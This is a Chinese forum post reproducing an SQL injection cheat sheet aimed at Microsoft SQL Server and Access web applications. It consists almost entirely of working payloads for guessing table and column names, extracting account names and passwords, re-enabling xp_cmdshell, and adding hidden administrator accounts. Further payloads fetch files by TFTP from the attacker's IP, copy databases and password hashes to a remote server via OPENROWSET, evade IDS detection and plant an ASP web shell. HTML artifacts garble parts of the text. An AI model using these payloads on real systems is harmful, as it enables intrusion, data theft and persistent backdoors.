标准注入语句大全

[复制链接]
查看: 235|回复: 0

标准注入语句大全

[复制链接]
查看: 235|回复: 0
匿名  2011-9-18 19:02:06 |阅读模式

马上注册,结交更多好友,享受更多内容,了解更多户外知识,让你轻松享受户外!

您需要 登录 才可以下载或查看,没有账号?立即注册

×
标准注入语句大全 </h1> <div id="property"> 2009-10-30 09:36:02   <!--引用地址--> 标准注入语句 1&#46;判断有无注入点 ; and 1=1 and 1=2 2&#46;猜表一般的表的名称无非是admin adminuser user pass password 等&#46;&#46; and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判断是否存 &#46;&#46;&#46; 标准注入语句 <BR>1&#46;判断有无注入点 <BR>; and 1=1 and 1=2 <BR><BR>2&#46;猜表一般的表的名称无非是admin adminuser user pass password 等&#46;&#46; <BR>and 0<>(select count(*) from *) <BR>and 0<>(select count(*) from admin) ---判断是否存在admin这张表 <BR><BR>3&#46;猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 <BR>and 0<(select count(*) from admin) <BR>and 1<(select count(*) from admin) <BR><BR>4&#46;猜解字段名称 在len( ) 括号里面加上我们想到的字段名称&#46; <BR>and 1=(select count(*) from admin where len(*)>0)-- <BR>and 1=(select count(*) from admin where len(用户字段名称name)>0) <BR>and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) <BR><BR>5&#46;猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 <BR>and 1=(select count(*) from admin where len(*)>0) <BR>and 1=(select count(*) from admin where len(name)>6) 错误 <BR>and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 <BR>and 1=(select count(*) from admin where len(name)=6) 正确 <BR><BR>and 1=(select count(*) from admin where len(password)>11) 正确 <BR>and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 <BR>and 1=(select count(*) from admin where len(password)=12) 正确 <BR><BR>6&#46;猜解字符 <BR>and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 <BR>and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 <BR>就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 <BR>and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- <BR>这个查询语句可以猜解中文的用户和_blank>密码&#46;只要把后面的数字换成中文的ASSIC码就OK&#46;最后把结果再转换成字符&#46; <BR><BR>group by users&#46;id having 1=1-- <BR>group by users&#46;id, users&#46;username, users&#46;password, users&#46;privs having 1=1-- <BR>; insert into users values( 666, attacker, foobar, 0xffff )-- <BR><BR>UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA&#46;COLUMNS Where TABLE_blank>_NAME=logintable- <BR>UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA&#46;COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- <BR>UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA&#46;COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- <BR>UNION Select TOP 1 login_blank>_name FROM logintable- <BR>UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul-- <BR><BR>看_blank>服务器打的补丁=出错了打了SP4补丁 <BR>and 1=(select @@VERSION)-- <BR><BR>看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 <BR>and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))-- <BR><BR>判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) <BR>and sa=(Select System_blank>_user)-- <BR>and user_blank>_name()=dbo-- <BR>and 0<>(select user_blank>_name()-- <BR><BR>看xp_blank>_cmdshell是否删除 <BR>and 1=(Select count(*) FROM master&#46;dbo&#46;sysobjects Where xtype = X AND name = xp_blank>_cmdshell)-- <BR><BR>xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 <BR>;EXEC master&#46;dbo&#46;sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70&#46;dll-- <BR>;EXEC master&#46;dbo&#46;sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70&#46;dll-- <BR><BR>反向PING自己实验 <BR>;use master;declare @s int;exec sp_blank>_oacreate "wscript&#46;shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd&#46;exe /c ping 192&#46;168&#46;0&#46;1";-- <BR><BR>加帐号 <BR>;DECLARE @shell INT EXEC SP_blank>_OACreate wscript&#46;shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd&#46;exe /c net user jiaoniang$ 1866574 /add-- <BR><BR>创建一个虚拟目录E盘: <BR>;declare @o int exec sp_blank>_oacreate wscript&#46;shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript&#46;exe c:\inetpub\wwwroot\mkwebdir&#46;vbs -w "默认Web站点" -v "e","e:\"-- <BR><BR>访问属性:(配合写入一个webshell) <BR>declare @o int exec sp_blank>_oacreate wscript&#46;shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript&#46;exe c:\inetpub\wwwroot\chaccess&#46;vbs -a w3svc/1/ROOT/e +browse <BR><BR><BR>爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 <BR>and 0<>(select top 1 paths from newtable)-- <BR><BR>得到库名(从1到5都是系统的id,6以上才可以判断) <BR>and 1=(select name from master&#46;dbo&#46;sysdatabases where dbid=7)-- <BR>and 0<>(select count(*) from master&#46;dbo&#46;sysdatabases where name>1 and dbid=6) <BR>依次提交 dbid = 7,8,9&#46;&#46;&#46;&#46; 得到更多的_blank>数据库名 <BR><BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;sysobjects where xtype=U) 暴到一个表 假设为 admin <BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 <BR>and 0<>(select count(*) from bbs&#46;dbo&#46;sysobjects where xtype=U and name=admin <BR>and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id <BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id <BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;syscolumns where id=18779569 and name not in <BR>(id,&#46;&#46;&#46;)) 来暴出其他的字段 <BR>and 0<(select user_blank>_id from BBS&#46;dbo&#46;admin where username>1) 可以得到用户名 <BR>依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段 <BR><BR>and 0<>(select count(*) from master&#46;dbo&#46;sysdatabases where name>1 and dbid=6) <BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;sysobjects where xtype=U) 得到表名 <BR>and 0<>(select top 1 name from bbs&#46;dbo&#46;sysobjects where xtype=U and name not in(Address)) <BR>and 0<>(select count(*) from bbs&#46;dbo&#46;sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 <BR>and 0<>(select top 1 name from BBS&#46;dbo&#46;syscolumns where id=773577794) 所有字段 <BR><BR>?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin <BR>?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) <BR><BR>得到WEB路径 <BR>;create table [dbo]&#46;[swap] ([swappass][char](255));-- <BR>and (select top 1 swappass from swap)=1-- <BR>;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master&#46;&#46;xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- <BR>;use ku1;-- <BR>;create table cmd (str image);-- 建立image类型的表cmd <BR><BR>存在xp_blank>_cmdshell的测试过程: <BR>;exec master&#46;&#46;xp_blank>_cmdshell dir <BR>;exec master&#46;dbo&#46;sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 <BR>;exec master&#46;dbo&#46;sp_blank>_password null,jiaoniang$,1866574;-- <BR>;exec master&#46;dbo&#46;sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- <BR>;exec master&#46;dbo&#46;xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- <BR>;exec master&#46;dbo&#46;xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- <BR>exec master&#46;&#46;xp_blank>_servicecontrol start, schedule 启动_blank>服务 <BR>exec master&#46;&#46;xp_blank>_servicecontrol start, server <BR>; DECLARE @shell INT EXEC SP_blank>_OACreate wscript&#46;shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd&#46;exe /c net user jiaoniang$ 1866574 /add <BR>;DECLARE @shell INT EXEC SP_blank>_OACreate wscript&#46;shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd&#46;exe /c net localgroup administrators jiaoniang$ /add <BR>; exec master&#46;&#46;xp_blank>_cmdshell tftp -i youip get file&#46;exe-- 利用TFTP上传文件 <BR><BR>;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ <BR>;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ <BR>;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak&#46;dat <BR>如果被限制则可以。 <BR>select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master&#46;dbo&#46;sp_blank>_addlogin hax) <BR><BR>查询构造: <BR>Select * FROM news Where id=&#46;&#46;&#46; AND topic=&#46;&#46;&#46; AND &#46;&#46;&#46;&#46;&#46; <BR>adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> <BR>select 123;-- <BR>;use master;-- <BR>:a or name like fff%;-- 显示有一个叫ffff的用户哈。 <BR>and 1<>(select count(email) from [user]);-- <BR>;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- <BR>;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- <BR>;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- <BR>;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- <BR>;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- <BR>;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- <BR>上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 <BR>通过查看ffff的用户资料可得第一个用表叫ad <BR>然后根据表名ad得到这个表的ID 得到第二个表的名字 <BR><BR>insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- <BR>insert into users values( 667,123,123,0xffff)-- <BR>insert into users values ( 123, admin--, password, 0xffff)-- <BR>;and user>0 <BR>;and (select count(*) from sysobjects)>0 <BR>;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 <BR><BR>枚举出数据表名 <BR>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- <BR>这是将第一个表名更新到aaa的字段处。 <BR>读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 <BR>;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- <BR>然后id=1552 and exists(select * from aaa where aaa>5) <BR>读出第二个表,一个个的读出,直到没有为止。 <BR>读字段是这样: <BR>;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- <BR>然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 <BR>;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- <BR>然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 <BR><BR>[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] <BR>update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) <BR>通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] <BR><BR>[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] <BR>update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件] <BR><BR>绕过IDS的检测[使用变量] <BR>;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ <BR>;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ <BR><BR>1、 开启远程_blank>数据库 <BR>基本语法 <BR>select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) <BR>参数: (1) OLEDB Provider name <BR>2、 其中连接字符串参数可以是任何端口用来连接,比如 <BR>select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;, select * from table <BR>3&#46;复制目标主机的整个_blank>数据库insert所有远程表到本地表。 <BR><BR>基本语法: <BR>insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 <BR>这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from table1) select * from table2 <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from _blank>_sysdatabases) <BR>select * from master&#46;dbo&#46;sysdatabases <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from _blank>_sysobjects) <BR>select * from user_blank>_database&#46;dbo&#46;sysobjects <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from _blank>_syscolumns) <BR>select * from user_blank>_database&#46;dbo&#46;syscolumns <BR>复制_blank>数据库: <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from table1) select * from database&#46;&#46;table1 <BR>insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from table2) select * from database&#46;&#46;table2 <BR><BR>复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: <BR>insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192&#46;168&#46;0&#46;1,1433;,select * from _blank>_sysxlogins) select * from database&#46;dbo&#46;sysxlogins <BR>得到hash之后,就可以进行暴力破解。 <BR><BR>遍历目录的方法: 先创建一个临时表:temp <BR>;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <BR>;insert temp exec master&#46;dbo&#46;xp_blank>_availablemedia;-- 获得当前所有驱动器 <BR>;insert into temp(id) exec master&#46;dbo&#46;xp_blank>_subdirs c:\;-- 获得子目录列表 <BR>;insert into temp(id,num1) exec master&#46;dbo&#46;xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 <BR>;insert into temp(id) exec master&#46;dbo&#46;xp_blank>_cmdshell type c:\web\index&#46;asp;-- 查看某个文件的内容 <BR>;insert into temp(id) exec master&#46;dbo&#46;xp_blank>_cmdshell dir c:\;-- <BR>;insert into temp(id) exec master&#46;dbo&#46;xp_blank>_cmdshell dir c:\ *&#46;asp /s/a;-- <BR>;insert into temp(id) exec master&#46;dbo&#46;xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil&#46;vbs enum w3svc <BR>;insert into temp(id,num1) exec master&#46;dbo&#46;xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC) <BR>写入表: <BR>语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));-- <BR>语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));-- <BR>语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));-- <BR>语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));-- <BR>语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));-- <BR>语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));-- <BR>语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));-- <BR>语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));-- <BR>语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));-- <BR><BR>把路径写到表中去: <BR>;create table dirs(paths varchar(100), id int)-- <BR>;insert dirs exec master&#46;dbo&#46;xp_blank>_dirtree c:\-- <BR>and 0<>(select top 1 paths from dirs)-- <BR>and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- <BR>;create table dirs1(paths varchar(100), id int)-- <BR>;insert dirs exec master&#46;dbo&#46;xp_blank>_dirtree e:\web-- <BR>and 0<>(select top 1 paths from dirs1)-- <BR><BR>把_blank>数据库备份到网页目录:下载 <BR>;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down&#46;bak;-- <BR><BR>and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) <BR>and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 <BR>and 1=(select user_blank>_id from USER_blank>_LOGIN) <BR>and 0=(select user from USER_blank>_LOGIN where user>1) <BR><BR>-=- wscript&#46;shell example -=- <BR>declare @o int <BR>exec sp_blank>_oacreate wscript&#46;shell, @o out <BR>exec sp_blank>_oamethod @o, run, NULL, notepad&#46;exe <BR>; declare @o int exec sp_blank>_oacreate wscript&#46;shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad&#46;exe-- <BR><BR>declare @o int, @f int, @t int, @ret int <BR>declare @line varchar(8000) <BR>exec sp_blank>_oacreate scripting&#46;filesystemobject, @o out <BR>exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot&#46;ini, 1 <BR>exec @ret = sp_blank>_oamethod @f, readline, @line out <BR>while( @ret = 0 ) <BR>begin <BR>print @line <BR>exec @ret = sp_blank>_oamethod @f, readline, @line out <BR>end <BR><BR>declare @o int, @f int, @t int, @ret int <BR>exec sp_blank>_oacreate scripting&#46;filesystemobject, @o out <BR>exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo&#46;asp, 1 <BR>exec @ret = sp_blank>_oamethod @f, writeline, NULL, <BR><% set o = server&#46;createobject("wscript&#46;shell"): o&#46;run( request&#46;querystring("cmd") ) %> <BR><BR>declare @o int, @ret int <BR>exec sp_blank>_oacreate speech&#46;voicetext, @o out <BR>exec sp_blank>_oamethod @o, register, NULL, foo, bar <BR>exec sp_blank>_oasetproperty @o, speed, 150 <BR>exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 <BR>waitfor delay 00:00:05 <BR><BR>; declare @o int, @ret int exec sp_blank>_oacreate speech&#46;voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- <BR><BR>xp_blank>_dirtree适用权限PUBLIC <BR>exec master&#46;dbo&#46;xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 <BR>create table dirs(paths varchar(100), id int) <BR>建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 <BR>insert dirs exec master&#46;dbo&#46;xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!</div>
”济源户外网” www.jyhww.com 倡导“积极健康”的生活方式、崇尚“自然、和谐、真诚、友爱”的人文精神,以“自主、绿色、氧气、阳光、健康、友谊”为宗旨,由热爱生活、热爱大自然的群体组成。是户外运动者的家园,也是个人挑战自我。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|济源户外网-天韵茗茶 | 豫ICP备10211396号-1

GMT+8, 2026-7-18 07:54 , Processed in 0.021626 second(s), 18 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.